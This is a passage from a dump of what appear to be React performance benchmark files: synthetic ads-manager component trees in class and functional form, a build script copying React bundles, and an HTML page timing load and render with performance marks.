FluxContainer_AdsSessionExpiredDialogContainer_163,\n            {x: 478}\n          ),\n          React.createElement(\n            FluxContainer_AdsPEUploadDialogLazyContainer_164,\n            {x: 479}\n          ),\n          React.createElement(FluxContainer_DialogContainer_165, {x: 480}),\n          React.createElement(AdsBugReportContainer166, {x: 481}),\n          React.createElement(AdsPEAudienceSplittingDialogContainer168, {\n            x: 483,\n          }),\n          React.createElement(\n            FluxContainer_AdsRuleDialogBootloadContainer_169,\n            {x: 484}\n          ),\n          React.createElement(FluxContainer_AdsPECFTrayContainer_170, {x: 485}),\n          React.createElement(\n            'span',\n            null,\n            React.createElement(FluxContainer_AdsPEDeleteDraftContainer_171, {\n              x: 486,\n            }),\n            React.createElement(\n              FluxContainer_AdsPEInitialDraftPublishDialogContainer_172,\n              {x: 487}\n            ),\n            React.createElement(\n              FluxContainer_AdsPEReachFrequencyStatusTransitionDialogBootloadContainer_173,\n              {x: 488}\n            )\n          ),\n          React.createElement(\n            FluxContainer_AdsPEPurgeArchiveDialogContainer_174,\n            {x: 489}\n          ),\n          React.createElement(AdsPECreateDialogContainer175, {x: 490}),\n          React.createElement(FluxContainer_AdsPEModalStatusContainer_176, {\n            x: 491,\n          }),\n          React.createElement(\n            FluxContainer_AdsBrowserExtensionErrorDialogContainer_177,\n            {x: 492}\n          ),\n          React.createElement(FluxContainer_AdsPESortByErrorTipContainer_178, {\n            x: 493,\n          }),\n          React.createElement(\n            FluxContainer_AdsPELeadDownloadDialogContainerClass_180,\n            {x: 495}\n          ),\n          React.createElement('div', {id: 'web_ads_guidance_tips'})\n        );\n      }\n    }\n  }\n\n  class Benchmark extends React.Component {\n    render() {\n      if (this.props.x === undefined) {\n        return React.createElement(AdsPEContainer181, {x: 496});\n      }\n    }\n  }\n\n  var app = document.getElementById('app');\n\n  window.render = function render() {\n    ReactDOM.render(React.createElement(Benchmark, null), app);\n  };\n})();\n"
  },
  {
    "path": "scripts/bench/benchmarks/pe-class-components/build.js",
    "content": "'use strict';\n\nconst {join} = require('path');\n\nasync function build(reactPath, asyncCopyTo) {\n  // copy the UMD bundles\n  await asyncCopyTo(\n    join(reactPath, 'build', 'dist', 'react.production.js'),\n    join(__dirname, 'react.production.js')\n  );\n  await asyncCopyTo(\n    join(reactPath, 'build', 'dist', 'react-dom.production.js'),\n    join(__dirname, 'react-dom.production.js')\n  );\n}\n\nmodule.exports = build;\n"
  },
  {
    "path": "scripts/bench/benchmarks/pe-class-components/index.html",
    "content": "<html>\n<body>\n    <div id=\"app\"></div>\n    <script>\n      performance.mark('Load React');\n      performance.mark('Load React+ReactDOM');\n    </script>\n    <script src=\"react.production.min.js\"></script>\n    <script>\n      performance.measure('Load React', 'Load React');\n    </script>\n    <script>\n      performance.mark('Load ReactDOM');\n    </script>\n    <script src=\"react-dom.production.min.js\"></script>\n    <script>\n      performance.measure('Load ReactDOM', 'Load ReactDOM');\n      performance.measure('Load React+ReactDOM', 'Load React+ReactDOM');\n    </script>\n    <script src=\"benchmark.js\"></script>\n    <script>\n      performance.mark('Initial Render');\n      render();\n      performance.measure('Initial Render', 'Initial Render');\n      requestAnimationFrame(() => {\n        performance.mark('Update Render');\n        render();\n        performance.measure('Update Render', 'Update Render');\n      });\n    </script>\n  </body>\n</html>"
  },
  {
    "path": "scripts/bench/benchmarks/pe-functional-components/benchmark.js",
    "content": "(function () {\n  'use strict';\n\n  var ReactImage0 = function (props) {\n    if (props.x === 0) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-99 img sp_i534r85sjIn sx_538591',\n        src: null,\n      });\n    }\n    if (props.x === 15) {\n      return React.createElement('i', {\n        className: '_3ut_ img sp_i534r85sjIn sx_e8ac93',\n        src: null,\n        alt: '',\n      });\n    }\n    if (props.x === 22) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-8_ img sp_i534r85sjIn sx_7b15bc',\n        src: null,\n      });\n    }\n    if (props.x === 29) {\n      return React.createElement('i', {\n        className: '_1m1s _4540 _p img sp_i534r85sjIn sx_f40b1c',\n        src: null,\n        alt: '',\n      });\n    }\n    if (props.x === 42) {\n      return React.createElement(\n        'i',\n        {\n          alt: 'Warning',\n          className: '_585p img sp_i534r85sjIn sx_20273d',\n          src: null,\n        },\n        React.createElement('u', null, 'Warning')\n      );\n    }\n    if (props.x === 67) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-8_ img sp_i534r85sjIn sx_b5d079',\n        src: null,\n      });\n    }\n    if (props.x === 70) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_29f8c9',\n      });\n    }\n    if (props.x === 76) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-8_ img sp_i534r85sjIn sx_ef6a9c',\n        src: null,\n      });\n    }\n    if (props.x === 79) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_6f8c43',\n      });\n    }\n    if (props.x === 88) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_e94a2d',\n      });\n    }\n    if (props.x === 91) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_7ed7d4',\n      });\n    }\n    if (props.x === 94) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_930440',\n      });\n    }\n    if (props.x === 98) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_750c83',\n      });\n    }\n    if (props.x === 108) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_73c1bb',\n      });\n    }\n    if (props.x === 111) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_29f28d',\n      });\n    }\n    if (props.x === 126) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: '_3-8_ img sp_i534r85sjIn sx_91c59e',\n      });\n    }\n    if (props.x === 127) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-99 img sp_i534r85sjIn sx_538591',\n        src: null,\n      });\n    }\n    if (props.x === 134) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: '_3-8_ img sp_i534r85sjIn sx_c8eb75',\n      });\n    }\n    if (props.x === 135) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-99 img sp_i534r85sjIn sx_538591',\n        src: null,\n      });\n    }\n    if (props.x === 148) {\n      return React.createElement('i', {\n        className: '_3yz6 _5whs img sp_i534r85sjIn sx_896996',\n        src: null,\n        alt: '',\n      });\n    }\n    if (props.x === 152) {\n      return React.createElement('i', {\n        className: '_5b5p _4gem img sp_i534r85sjIn sx_896996',\n        src: null,\n        alt: '',\n      });\n    }\n    if (props.x === 153) {\n      return React.createElement('i', {\n        className: '_541d img sp_i534r85sjIn sx_2f396a',\n        src: null,\n        alt: '',\n      });\n    }\n    if (props.x === 160) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_31d9b0',\n      });\n    }\n    if (props.x === 177) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-99 img sp_i534r85sjIn sx_2c18b7',\n        src: null,\n      });\n    }\n    if (props.x === 186) {\n      return React.createElement('i', {\n        src: null,\n        alt: '',\n        className: 'img sp_i534r85sjIn sx_0a681f',\n      });\n    }\n    if (props.x === 195) {\n      return React.createElement('i', {\n        className: '_1-lx img sp_OkER5ktbEyg sx_b369b4',\n        src: null,\n        alt: '',\n      });\n    }\n    if (props.x === 198) {\n      return React.createElement('i', {\n        className: '_1-lx img sp_i534r85sjIn sx_96948e',\n        src: null,\n        alt: '',\n      });\n    }\n    if (props.x === 237) {\n      return React.createElement('i', {\n        className: '_541d img sp_i534r85sjIn sx_2f396a',\n        src: null,\n        alt: '',\n      });\n    }\n    if (props.x === 266) {\n      return React.createElement('i', {\n        alt: '',\n        className: '_3-99 img sp_i534r85sjIn sx_538591',\n        src: null,\n      });\n    }\n    if (props.x === 314) {\n      return React.createElement('i', {\n        className: '_1cie _1cif img sp_i534r85sjIn sx_6e6820',\n        src: null,\n        alt: '',\n      });\n    }\n    if (props.x === 345) {\n      return React.createElement('i', {\n        className: '_1cie img sp_i534r85sjIn sx_e896cf',\n        src: null,\n        alt: '',\n      });\n    }\n    if (props.x === 351) {\n      return React.createElement('i', {\n        className: '_1cie img sp_i534r85sjIn sx_38fed8',\n        src: null,\n        alt: '',\n      });\n    }\n  };\n\n  var AbstractLink1 = function (props) {\n    if (props.x === 1) {\n      return React.createElement(\n        'a',\n        {\n          className: '_387r _55pi _2agf _4jy0 _4jy4 _517h _51sy _42ft',\n          style: {width: 250, maxWidth: '250px'},\n          disabled: null,\n          label: null,\n          href: '#',\n          rel: undefined,\n          onClick: function () {},\n        },\n        null,\n        React.createElement(\n          'span',\n          {className: '_55pe', style: {maxWidth: '236px'}},\n          null,\n          React.createElement(\n            'span',\n            null,\n            React.createElement('span', {className: '_48u-'}, 'Account:'),\n            ' ',\n            'Dick Madanson (10149999073643408)'\n          )\n        ),\n        React.createElement(ReactImage0, {x: 0})\n      );\n    }\n    if (props.x === 43) {\n      return React.createElement(\n        'a',\n        {\n          className: '_585q _50zy _50-0 _50z- _5upp _42ft',\n          size: 'medium',\n          type: null,\n          title: 'Remove',\n          'data-hover': undefined,\n          'data-tooltip-alignh': undefined,\n          'data-tooltip-content': undefined,\n          disabled: null,\n          label: null,\n          href: '#',\n          rel: undefined,\n          onClick: function () {},\n        },\n        undefined,\n        'Remove',\n        undefined\n      );\n    }\n    if (props.x === 49) {\n      return React.createElement(\n        'a',\n        {\n          target: '_blank',\n          href: '/ads/manage/billing.php?act=10149999073643408',\n          rel: undefined,\n          onClick: function () {},\n        },\n        React.createElement(XUIText29, {x: 48})\n      );\n    }\n    if (props.x === 128) {\n      return React.createElement(\n        'a',\n        {\n          className: ' _5bbf _55pi _2agf _4jy0 _4jy4 _517h _51sy _42ft',\n          style: {maxWidth: '200px'},\n          disabled: null,\n          label: null,\n          href: '#',\n          rel: undefined,\n          onClick: function () {},\n        },\n        null,\n        React.createElement(\n          'span',\n          {className: '_55pe', style: {maxWidth: '186px'}},\n          React.createElement(ReactImage0, {x: 126}),\n          'Search'\n        ),\n        React.createElement(ReactImage0, {x: 127})\n      );\n    }\n    if (props.x === 136) {\n      return React.createElement(\n        'a',\n        {\n          className: ' _5bbf _55pi _2agf _4jy0 _4jy4 _517h _51sy _42ft',\n          style: {maxWidth: '200px'},\n          disabled: null,\n          label: null,\n          href: '#',\n          rel: undefined,\n          onClick: function () {},\n        },\n        null,\n        React.createElement(\n          'span',\n          {className: '_55pe', style: {maxWidth: '186px'}},\n          React.createElement(ReactImage0, {x: 134}),\n          'Filters'\n        ),\n        React.createElement(ReactImage0, {x: 135})\n      );\n    }\n    if (props.x === 178) {\n      return React.createElement(\n        'a',\n        {\n          className: '_1_-t _1_-v _42ft',\n          disabled: null,\n          height: 'medium',\n          role: 'button',\n          label: null,\n          href: '#',\n          rel: undefined,\n          onClick: function () {},\n        },\n        undefined,\n        'Lifetime',\n        React.createElement(ReactImage0, {x: 177})\n      );\n    }\n    if (props.x === 207) {\n      return React.createElement(\n        'a',\n        {href: '#', rel: undefined, onClick: function () {}},\n        'Create Ad Set'\n      );\n    }\n    if (props.x === 209) {\n      return React.createElement(\n        'a',\n        {href: '#', rel: undefined, onClick: function () {}},\n        'View Ad Set'\n      );\n    }\n    if (props.x === 241) {\n      return React.createElement(\n        'a',\n        {href: '#', rel: undefined, onClick: function () {}},\n        'Set a Limit'\n      );\n    }\n    if (props.x === 267) {\n      return React.createElement(\n        'a',\n        {\n          className: '_p _55pi _2agf _4jy0 _4jy3 _517h _51sy _42ft',\n          style: {maxWidth: '200px'},\n          disabled: null,\n          label: null,\n          href: '#',\n          rel: undefined,\n          onClick: function () {},\n        },\n        null,\n        React.createElement(\n          'span',\n          {className: '_55pe', style: {maxWidth: '186px'}},\n          null,\n          'Links'\n        ),\n        React.createElement(ReactImage0, {x: 266})\n      );\n    }\n  };\n\n  var Link2 = function (props) {\n    if (props.x === 2) {\n      return React.createElement(AbstractLink1, {x: 1});\n    }\n    if (props.x === 44) {\n      return React.createElement(AbstractLink1, {x: 43});\n    }\n    if (props.x === 50) {\n      return React.createElement(AbstractLink1, {x: 49});\n    }\n    if (props.x === 129) {\n      return React.createElement(AbstractLink1, {x: 128});\n    }\n    if (props.x === 137) {\n      return React.createElement(AbstractLink1, {x: 136});\n    }\n    if (props.x === 179) {\n      return React.createElement(AbstractLink1, {x: 178});\n    }\n    if (props.x === 208) {\n      return React.createElement(AbstractLink1, {x: 207});\n    }\n    if (props.x === 210) {\n      return React.createElement(AbstractLink1, {x: 209});\n    }\n    if (props.x === 242) {\n      return React.createElement(AbstractLink1, {x: 241});\n    }\n    if (props.x === 268) {\n      return React.createElement(AbstractLink1, {x: 267});\n    }\n  };\n\n  var AbstractButton3 = function (props) {\n    if (props.x === 3) {\n      return React.createElement(Link2, {x: 2});\n    }\n    if (props.x === 20) {\n      return React.createElement(\n        'button',\n        {\n          className: '_5n7z _4jy0 _4jy4 _517h _51sy _42ft',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        undefined,\n        'Discard Changes',\n        undefined\n      );\n    }\n    if (props.x === 23) {\n      return React.createElement(\n        'button',\n        {\n          className: '_5n7z _2yak _4lj- _4jy0 _4jy4 _517h _51sy _42ft _42fr',\n          disabled: true,\n          onClick: function () {},\n          'data-tooltip-content': 'You have no changes to publish',\n          'data-hover': 'tooltip',\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        React.createElement(ReactImage0, {x: 22}),\n        'Review Changes',\n        undefined\n      );\n    }\n    if (props.x === 45) {\n      return React.createElement(Link2, {x: 44});\n    }\n    if (props.x === 68) {\n      return React.createElement(\n        'button',\n        {\n          className: '_u_k _4jy0 _4jy4 _517h _51sy _42ft',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        React.createElement(ReactImage0, {x: 67}),\n        'Create Campaign',\n        undefined\n      );\n    }\n    if (props.x === 71) {\n      return React.createElement(\n        'button',\n        {\n          className: '_u_k _3qx6 _p _4jy0 _4jy4 _517h _51sy _42ft',\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        React.createElement(ReactImage0, {x: 70}),\n        undefined,\n        undefined\n      );\n    }\n    if (props.x === 77) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'Edit',\n          'data-tooltip-content': 'Edit Campaigns (Ctrl+U)',\n          'data-hover': 'tooltip',\n          className: '_d2_ _u_k noMargin _4jy0 _4jy4 _517h _51sy _42ft',\n          disabled: false,\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        React.createElement(ReactImage0, {x: 76}),\n        'Edit',\n        undefined\n      );\n    }\n    if (props.x === 80) {\n      return React.createElement(\n        'button',\n        {\n          className: '_u_k _3qx6 _p _4jy0 _4jy4 _517h _51sy _42ft',\n          disabled: false,\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        React.createElement(ReactImage0, {x: 79}),\n        undefined,\n        undefined\n      );\n    }\n    if (props.x === 89) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'Revert',\n          className: '_u_k _4jy0 _4jy4 _517h _51sy _42ft _42fr',\n          'data-hover': 'tooltip',\n          'data-tooltip-content': 'Revert',\n          disabled: true,\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        React.createElement(ReactImage0, {x: 88}),\n        undefined,\n        undefined\n      );\n    }\n    if (props.x === 92) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'Delete',\n          className: '_u_k _4jy0 _4jy4 _517h _51sy _42ft',\n          'data-hover': 'tooltip',\n          'data-tooltip-content': 'Delete',\n          disabled: false,\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        React.createElement(ReactImage0, {x: 91}),\n        undefined,\n        undefined\n      );\n    }\n    if (props.x === 95) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'Duplicate',\n          className: '_u_k _4jy0 _4jy4 _517h _51sy _42ft',\n          'data-hover': 'tooltip',\n          'data-tooltip-content': 'Duplicate',\n          disabled: false,\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        React.createElement(ReactImage0, {x: 94}),\n        undefined,\n        undefined\n      );\n    }\n    if (props.x === 99) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'Export & Import',\n          className: '_u_k noMargin _p _4jy0 _4jy4 _517h _51sy _42ft',\n          'data-hover': 'tooltip',\n          'data-tooltip-content': 'Export & Import',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        React.createElement(ReactImage0, {x: 98}),\n        undefined,\n        undefined\n      );\n    }\n    if (props.x === 109) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'Create Report',\n          className: '_u_k _5n7z _4jy0 _4jy4 _517h _51sy _42ft',\n          'data-hover': 'tooltip',\n          'data-tooltip-content': 'Create Report',\n          disabled: false,\n          style: {boxSizing: 'border-box', height: '28px', width: '48px'},\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        React.createElement(ReactImage0, {x: 108}),\n        undefined,\n        undefined\n      );\n    }\n    if (props.x === 112) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'Campaign Tags',\n          className: ' _5uy7 _4jy0 _4jy4 _517h _51sy _42ft',\n          'data-hover': 'tooltip',\n          'data-tooltip-content': 'Campaign Tags',\n          disabled: false,\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        React.createElement(ReactImage0, {x: 111}),\n        undefined,\n        undefined\n      );\n    }\n    if (props.x === 130) {\n      return React.createElement(Link2, {x: 129});\n    }\n    if (props.x === 138) {\n      return React.createElement(Link2, {x: 137});\n    }\n    if (props.x === 149) {\n      return React.createElement(\n        'button',\n        {\n          className: '_3yz9 _1t-2 _50z- _50zy _50zz _50z- _5upp _42ft',\n          size: 'small',\n          onClick: function () {},\n          type: 'button',\n          title: 'Remove',\n          'data-hover': undefined,\n          'data-tooltip-alignh': undefined,\n          'data-tooltip-content': undefined,\n          label: null,\n        },\n        undefined,\n        'Remove',\n        undefined\n      );\n    }\n    if (props.x === 156) {\n      return React.createElement(\n        'button',\n        {\n          className: '_5b5u _5b5v _4jy0 _4jy3 _517h _51sy _42ft',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        undefined,\n        'Apply',\n        undefined\n      );\n    }\n    if (props.x === 161) {\n      return React.createElement(\n        'button',\n        {\n          className: '_1wdf _4jy0 _517i _517h _51sy _42ft',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        React.createElement(ReactImage0, {x: 160}),\n        undefined,\n        undefined\n      );\n    }\n    if (props.x === 180) {\n      return React.createElement(Link2, {x: 179});\n    }\n    if (props.x === 187) {\n      return React.createElement(\n        'button',\n        {\n          'aria-label': 'List Settings',\n          className: '_u_k _3c5o _1-r0 _4jy0 _4jy4 _517h _51sy _42ft',\n          'data-hover': 'tooltip',\n          'data-tooltip-content': 'List Settings',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        React.createElement(ReactImage0, {x: 186}),\n        undefined,\n        undefined\n      );\n    }\n    if (props.x === 269) {\n      return React.createElement(Link2, {x: 268});\n    }\n    if (props.x === 303) {\n      return React.createElement(\n        'button',\n        {\n          className: '_tm3 _tm6 _tm7 _4jy0 _4jy6 _517h _51sy _42ft',\n          'data-tooltip-position': 'right',\n          'data-tooltip-content': 'Campaigns',\n          'data-hover': 'tooltip',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        undefined,\n        React.createElement(\n          'div',\n          null,\n          React.createElement('div', {className: '_tma'}),\n          React.createElement('div', {className: '_tm8'}),\n          React.createElement('div', {className: '_tm9'}, 1)\n        ),\n        undefined\n      );\n    }\n    if (props.x === 305) {\n      return React.createElement(\n        'button',\n        {\n          className: '_tm4 _tm6 _4jy0 _4jy6 _517h _51sy _42ft',\n          'data-tooltip-position': 'right',\n          'data-tooltip-content': 'Ad Sets',\n          'data-hover': 'tooltip',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        undefined,\n        React.createElement(\n          'div',\n          null,\n          React.createElement('div', {className: '_tma'}),\n          React.createElement('div', {className: '_tm8'}),\n          React.createElement('div', {className: '_tm9'}, 1)\n        ),\n        undefined\n      );\n    }\n    if (props.x === 307) {\n      return React.createElement(\n        'button',\n        {\n          className: '_tm5 _tm6 _4jy0 _4jy6 _517h _51sy _42ft',\n          'data-tooltip-position': 'right',\n          'data-tooltip-content': 'Ads',\n          'data-hover': 'tooltip',\n          onClick: function () {},\n          label: null,\n          type: 'submit',\n          value: '1',\n        },\n        undefined,\n        React.createElement(\n          'div',\n          null,\n          React.createElement('div', {className: '_tma'}),\n          React.createElement('div', {className: '_tm8'}),\n          React.createElement('div', {className: '_tm9'}, 1)\n        ),\n        undefined\n      );\n    }\n  };\n\n  var XUIButton4 = function (props) {\n    if (props.x === 4) {\n      return React.createElement(AbstractButton3, {x: 3});\n    }\n    if (props.x === 21) {\n      return React.createElement(AbstractButton3, {x: 20});\n    }\n    if (props.x === 24) {\n      return React.createElement(AbstractButton3, {x: 23});\n    }\n    if (props.x === 69) {\n      return React.createElement(AbstractButton3, {x: 68});\n    }\n    if (props.x === 72) {\n      return React.createElement(AbstractButton3, {x: 71});\n    }\n    if (props.x === 78) {\n      return React.createElement(AbstractButton3, {x: 77});\n    }\n    if (props.x === 81) {\n      return React.createElement(AbstractButton3, {x: 80});\n    }\n    if (props.x === 90) {\n      return React.createElement(AbstractButton3, {x: 89});\n    }\n    if (props.x === 93) {\n      return React.createElement(AbstractButton3, {x: 92});\n    }\n    if (props.x === 96) {\n      return React.createElement(AbstractButton3, {x: 95});\n    }\n    if (props.x === 100) {\n      return React.createElement(AbstractButton3, {x: 99});\n    }\n    if (props.x === 110) {\n      return React.createElement(AbstractButton3, {x: 109});\n    }\n    if (props.x === 113) {\n      return React.createElement(AbstractButton3, {x: 112});\n    }\n    if (props.x === 131) {\n      return React.createElement(AbstractButton3, {x: 130});\n    }\n    if (props.x === 139) {\n      return React.createElement(AbstractButton3, {x: 138});\n    }\n    if (props.x === 157) {\n      return React.createElement(AbstractButton3, {x: 156});\n    }\n    if (props.x === 162) {\n      return React.createElement(AbstractButton3, {x: 161});\n    }\n    if (props.x === 188) {\n      return React.createElement(AbstractButton3, {x: 187});\n    }\n    if (props.x === 270) {\n      return React.createElement(AbstractButton3, {x: 269});\n    }\n    if (props.x === 304) {\n      return React.createElement(AbstractButton3, {x: 303});\n    }\n    if (props.x === 306) {\n      return React.createElement(AbstractButton3, {x: 305});\n    }\n    if (props.x === 308) {\n      return React.createElement(AbstractButton3, {x: 307});\n    }\n  };\n\n  var AbstractPopoverButton5 = function (props) {\n    if (props.x === 5) {\n      return React.createElement(XUIButton4, {x: 4});\n    }\n    if (props.x === 132) {\n      return React.createElement(XUIButton4, {x: 131});\n    }\n    if (props.x === 140) {\n      return React.createElement(XUIButton4, {x: 139});\n    }\n    if (props.x === 271) {\n      return React.createElement(XUIButton4, {x: 270});\n    }\n  };\n\n  var ReactXUIPopoverButton6 = function (props) {\n    if (props.x === 6) {\n      return React.createElement(AbstractPopoverButton5, {x: 5});\n    }\n    if (props.x === 133) {\n      return React.createElement(AbstractPopoverButton5, {x: 132});\n    }\n    if (props.x === 141) {\n      return React.createElement(AbstractPopoverButton5, {x: 140});\n    }\n    if (props.x === 272) {\n      return React.createElement(AbstractPopoverButton5, {x: 271});\n    }\n  };\n\n  var BIGAdAccountSelector7 = function (props) {\n    if (props.x === 7) {\n      return React.createElement(\n        'div',\n        null,\n        React.createElement(ReactXUIPopoverButton6, {x: 6}),\n        null\n      );\n    }\n  };\n\n  var FluxContainer_AdsPEBIGAdAccountSelectorContainer_8 = function (props) {\n    if (props.x === 8) {\n      return React.createElement(BIGAdAccountSelector7, {x: 7});\n    }\n  };\n\n  var ErrorBoundary9 = function (props) {\n    if (props.x === 9) {\n      return React.createElement(\n        FluxContainer_AdsPEBIGAdAccountSelectorContainer_8,\n        {x: 8}\n      );\n    }\n    if (props.x === 13) {\n      return React.createElement(FluxContainer_AdsPENavigationBarContainer_12, {\n        x: 12,\n      });\n    }\n    if (props.x === 27) {\n      return React.createElement(FluxContainer_AdsPEPublishButtonContainer_18, {\n        x: 26,\n      });\n    }\n    if (props.x === 32) {\n      return React.createElement(ReactPopoverMenu20, {x: 31});\n    }\n    if (props.x === 38) {\n      return React.createElement(AdsPEResetDialog24, {x: 37});\n    }\n    if (props.x === 57) {\n      return React.createElement(FluxContainer_AdsPETopErrorContainer_35, {\n        x: 56,\n      });\n    }\n    if (props.x === 60) {\n      return React.createElement(FluxContainer_AdsGuidanceChannel_36, {x: 59});\n    }\n    if (props.x === 64) {\n      return React.createElement(FluxContainer_AdsBulkEditDialogContainer_38, {\n        x: 63,\n      });\n    }\n    if (props.x === 124) {\n      return React.createElement(AdsPECampaignGroupToolbarContainer57, {\n        x: 123,\n      });\n    }\n    if (props.x === 170) {\n      return React.createElement(AdsPEFilterContainer72, {x: 169});\n    }\n    if (props.x === 175) {\n      return React.createElement(AdsPETablePagerContainer75, {x: 174});\n    }\n    if (props.x === 193) {\n      return React.createElement(AdsPEStatRangeContainer81, {x: 192});\n    }\n    if (props.x === 301) {\n      return React.createElement(\n        FluxContainer_AdsPEMultiTabDrawerContainer_137,\n        {x: 300}\n      );\n    }\n    if (props.x === 311) {\n      return React.createElement(AdsPEOrganizerContainer139, {x: 310});\n    }\n    if (props.x === 471) {\n      return React.createElement(AdsPECampaignGroupTableContainer159, {x: 470});\n    }\n    if (props.x === 475) {\n      return React.createElement(AdsPEContentContainer161, {x: 474});\n    }\n  };\n\n  var AdsErrorBoundary10 = function (props) {\n    if (props.x === 10) {\n      return React.createElement(ErrorBoundary9, {x: 9});\n    }\n    if (props.x === 14) {\n      return React.createElement(ErrorBoundary9, {x: 13});\n    }\n    if (props.x === 28) {\n      return React.createElement(ErrorBoundary9, {x: 27});\n    }\n    if (props.x === 33) {\n      return React.createElement(ErrorBoundary9, {x: 32});\n    }\n    if (props.x === 39) {\n      return React.createElement(ErrorBoundary9, {x: 38});\n    }\n    if (props.x === 58) {\n      return React.createElement(ErrorBoundary9, {x: 57});\n    }\n    if (props.x === 61) {\n      return React.createElement(ErrorBoundary9, {x: 60});\n    }\n    if (props.x === 65) {\n      return React.createElement(ErrorBoundary9, {x: 64});\n    }\n    if (props.x === 125) {\n      return React.createElement(ErrorBoundary9, {x: 124});\n    }\n    if (props.x === 171) {\n      return React.createElement(ErrorBoundary9, {x: 170});\n    }\n    if (props.x === 176) {\n      return React.createElement(ErrorBoundary9, {x: 175});\n    }\n    if (props.x === 194) {\n      return React.createElement(ErrorBoundary9, {x: 193});\n    }\n    if (props.x === 302) {\n      return React.createElement(ErrorBoundary9, {x: 301});\n    }\n    if (props.x === 312) {\n      return React.createElement(ErrorBoundary9, {x: 311});\n    }\n    if (props.x === 472) {\n      return React.createElement(ErrorBoundary9, {x: 471});\n    }\n    if (props.x === 476) {\n      return React.createElement(ErrorBoundary9, {x: 475});\n    }\n  };\n\n  var AdsPENavigationBar11 = function (props) {\n    if (props.x === 11) {\n      return React.createElement('div', {className: '_4t_9'});\n    }\n  };\n\n  var FluxContainer_AdsPENavigationBarContainer_12 = function (props) {\n    if (props.x === 12) {\n      return React.createElement(AdsPENavigationBar11, {x: 11});\n    }\n  };\n\n  var AdsPEDraftSyncStatus13 = function (props) {\n    if (props.x === 16) {\n      return React.createElement(\n        'div',\n        {className: '_3ut-', onClick: function () {}},\n        React.createElement(\n          'span',\n          {className: '_3uu0'},\n          React.createElement(ReactImage0, {x: 15})\n        )\n      );\n    }\n  };\n\n  var FluxContainer_AdsPEDraftSyncStatusContainer_14 = function (props) {\n    if (props.x === 17) {\n      return React.createElement(AdsPEDraftSyncStatus13, {x: 16});\n    }\n  };\n\n  var AdsPEDraftErrorsStatus15 = function (props) {\n    if (props.x === 18) {\n      return null;\n    }\n  };\n\n  var FluxContainer_viewFn_16 = function (props) {\n    if (props.x === 19) {\n      return React.createElement(AdsPEDraftErrorsStatus15, {x: 18});\n    }\n  };\n\n  var AdsPEPublishButton17 = function (props) {\n    if (props.x === 25) {\n      return React.createElement(\n        'div',\n        {className: '_5533'},\n        React.createElement(FluxContainer_AdsPEDraftSyncStatusContainer_14, {\n          x: 17,\n        }),\n        React.createElement(FluxContainer_viewFn_16, {x: 19}),\n        null,\n        React.createElement(XUIButton4, {x: 21, key: 'discard'}),\n        React.createElement(XUIButton4, {x: 24})\n      );\n    }\n  };\n\n  var FluxContainer_AdsPEPublishButtonContainer_18 = function (props) {\n    if (props.x === 26) {\n      return React.createElement(AdsPEPublishButton17, {x: 25});\n    }\n  };\n\n  var InlineBlock19 = function (props) {\n    if (props.x === 30) {\n      return React.createElement(\n        'div',\n        {className: 'uiPopover _6a _6b', disabled: null},\n        React.createElement(ReactImage0, {x: 29, key: '.0'})\n      );\n    }\n    if (props.x === 73) {\n      return React.createElement(\n        'div',\n        {className: 'uiPopover _6a _6b', disabled: null},\n        React.createElement(XUIButton4, {x: 72, key: '.0'})\n      );\n    }\n    if (props.x === 82) {\n      return React.createElement(\n        'div',\n        {className: '_1nwm uiPopover _6a _6b', disabled: null},\n        React.createElement(XUIButton4, {x: 81, key: '.0'})\n      );\n    }\n    if (props.x === 101) 